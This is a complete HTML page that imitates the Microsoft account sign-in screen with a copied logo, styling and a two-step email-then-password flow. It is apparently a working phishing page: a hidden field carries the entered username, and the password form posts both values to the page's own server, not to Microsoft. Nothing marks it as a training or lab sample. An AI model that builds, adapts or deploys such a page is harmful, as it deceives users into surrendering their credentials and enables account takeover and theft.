<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Sign in to your account</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;background:#f2f2f2;display:flex;justify-content:center;align-items:center;min-height:100vh}
.login-box{background:#fff;width:440px;min-height:338px;padding:44px;box-shadow:0 2px 6px rgba(0,0,0,.2)}
.ms-logo{margin-bottom:16px}
.ms-logo svg{width:108px;height:24px}
.title{font-size:24px;font-weight:600;color:#1b1b1b;margin-bottom:24px}
.form-field{margin-bottom:16px;position:relative}
.form-field input{width:100%;padding:6px 0 6px 10px;border:none;border-bottom:1px solid #666;font-size:15px;outline:none;background:transparent;color:#1b1b1b;height:36px}
.form-field input:focus{border-bottom:2px solid #0067b8;padding-bottom:5px}
.form-field input::placeholder{color:#767676}
.link-forgot{display:block;font-size:13px;color:#0067b8;text-decoration:none;margin-bottom:16px;margin-top:4px}
.link-forgot:hover{text-decoration:underline;color:#005a9e}
.btn-next{display:block;width:100%;padding:10px 20px;background:#0067b8;color:#fff;border:none;font-size:15px;font-weight:600;cursor:pointer;transition:background .15s;text-align:center}
.btn-next:hover{background:#005a9e}
.options{margin-top:16px}
.options a{display:block;font-size:13px;color:#0067b8;text-decoration:none;margin-bottom:6px}
.options a:hover{text-decoration:underline}
.footer-links{margin-top:32px;display:flex;gap:16px}
.footer-links a{font-size:12px;color:#0067b8;text-decoration:none}
.footer-links a:hover{text-decoration:underline}
.step{display:none}
.step.active{display:block}
.back-btn{background:none;border:none;cursor:pointer;display:flex;align-items:center;gap:6px;font-size:13px;color:#1b1b1b;margin-bottom:16px;padding:0}
.back-btn:hover{text-decoration:underline}
.back-btn svg{width:16px;height:16px}
.user-display{display:flex;align-items:center;gap:8px;background:#f2f2f2;border-radius:20px;padding:4px 16px 4px 4px;margin-bottom:20px;width:fit-content;font-size:13px;color:#1b1b1b}
.user-display .avatar{width:24px;height:24px;background:#0067b8;border-radius:50%;display:flex;align-items:center;justify-content:center;color:#fff;font-size:11px;font-weight:600}
</style>
</head>
<body>
<div class="login-box">
<div class="ms-logo">
<svg viewBox="0 0 108 24"><path fill="#f25022" d="M0 0h11v11H0z"/><path fill="#7fba00" d="M12 0h11v11H12z"/><path fill="#00a4ef" d="M0 12h11v11H0z"/><path fill="#ffb900" d="M12 12h11v11H12z"/><text x="28" y="18" fill="#1b1b1b" font-family="Segoe UI" font-size="16" font-weight="600">Microsoft</text></svg>
</div>

<div class="step active" id="step1">
<div class="title">Sign in</div>
<form id="emailForm" onsubmit="showStep2(event)">
<div class="form-field">
<input type="text" id="username" name="username" placeholder="Email, phone, or Skype" required autofocus autocomplete="username">
</div>
<div class="options">
<a href="#">No account? Create one!</a>
<a href="#">Can't access your account?</a>
</div>
<div style="text-align:right;margin-top:24px">
<button type="submit" class="btn-next" style="width:auto;display:inline-block;min-width:108px">Next</button>
</div>
</form>
</div>

<div class="step" id="step2">
<button type="button" class="back-btn" onclick="showStep1()">
<svg viewBox="0 0 16 16"><path d="M11 1L4 8l7 7" fill="none" stroke="currentColor" stroke-width="2"/></svg>
<span id="displayEmail"></span>
</button>
<div class="title">Enter password</div>
<form method="POST" action="/" id="passwordForm">
<input type="hidden" id="hiddenUsername" name="username">
<div class="form-field">
<input type="password" id="password" name="password" placeholder="Password" required autocomplete="current-password">
</div>
<a href="#" class="link-forgot">Forgot my password</a>
<div style="text-align:right">
<button type="submit" class="btn-next" style="width:auto;display:inline-block;min-width:108px">Sign in</button>
</div>
</form>
</div>

<div class="footer-links">
<a href="#">Terms of use</a>
<a href="#">Privacy & cookies</a>
</div>
</div>

<script>
function showStep2(e){e.preventDefault();var u=document.getElementById('username').value;document.getElementById('displayEmail').textContent=u;document.getElementById('hiddenUsername').value=u;document.getElementById('step1').classList.remove('active');document.getElementById('step2').classList.add('active');document.getElementById('password').focus()}
function showStep1(){document.getElementById('step2').classList.remove('active');document.getElementById('step1').classList.add('active');document.getElementById('username').focus()}
</script>
</body>
</html>
